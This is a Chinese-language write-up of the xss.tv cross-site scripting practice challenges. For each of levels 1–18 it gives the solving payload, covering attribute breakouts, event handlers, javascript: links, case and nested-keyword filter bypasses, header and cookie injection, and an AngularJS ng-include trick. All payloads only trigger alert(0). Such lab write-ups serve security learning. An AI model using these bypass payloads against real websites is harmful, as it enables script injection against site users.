xss.tv Writeup
最短 xss 平台的题目, 一共20关.
19关和20关没做, 都是 xsf, 之前审计过 flash 文件也没啥好印象.
这个相对于之前的 xss challenges 真是一点 Hint 都没有, 不过可以显示出 payload 的长度.
level 1
最简单的.
<svg onload=alert(0)>
level 2
输出在 value 内, 闭合标签后再插入 payload.
也可以用 on 事件, 不过这是下一题的考点.
"><img src=0 onerror=alert(0)>
level 3
单引号闭合.
1' onmouseover='alert(0)
level 4
双引号闭合.
" onmouseover="alert(0)
level 5
on 事件被转义成 o_n
, script 标签也被转义成 scr_ipt
.
换一个姿势.
"><a href=javascript:alert(0)>
level 6
on href src 都被加上了下划线.
大小写绕过.
<a HrEf="javascript:alert(0)">click</a>
level 7
这题没有转义, 只是把 on href src script 替换成空, 但只替换了一次.
"><a hrhrefef="javascscriptript:alert(0)">click</a>
level 8
关键字都被加上了下划线, 用 html 的自解码机制就可以绕过.
javascript:alert(0)
level 9
keyword 中没有 http://
就显示为非法链接.
其它的都和上题一样.
javascript:alert("http://")
level 10
查看源代码发现有三个隐藏参数, t_link t_history t_sort
, 其中只有 t_sort
可控.
由于标签是 hidden 的就不能触发 on 事件, 所以要改回 text 状态.
1" type="text" onmouseover="alert(0)
level 11
隐藏参数多了个 t_referer
, 抓包修改 referer 即可.
1" type="text" onmouseover="alert(0)
level 12
抓包修改 user-agent.
1" type="text" onmouseover="alert(0)
level 13
打开后发现多了个 cookie user=call me maybe
, 直接修改 cookie 重新访问页面.
1" type="text" onmouseover="alert(0)
level 14
这题做的很迷, 打开后直接就是 401 认证, 乱输几个 payload 也没屌用.
在网上看了 writeup 后才发现是图片 exif 信息的 xss.
估计网站已经关闭了, 就直接跳过吧.
level 15
查看源代码发现 ng-include 这个参数, 百度一会发现这是 angularjs 的语句, 好像和 php 的文件包含差不多.
src 直接包含第一关的内容传参 keyword 为 payload, 并没啥屌用, 后来才发现是 script 标签包含 angularjs 所在的网站被墙了, 恰好又是我大谷歌的地址.
包含的时候要加上单引号.
'level1.php?keyword=<svg onload=alert(0)>'
level 16
反斜杠空格什么的都被替换成了
, 两个换行符就可以干掉它.
<svg%0a%0aonload=alert(0)>
level 17
写的是 xsf, 其实只要在 arg02 后面加上 payload 就行了.
1 onmouseover=alert(0)
level 18
同 level 17.
1 onmouseover=alert(0)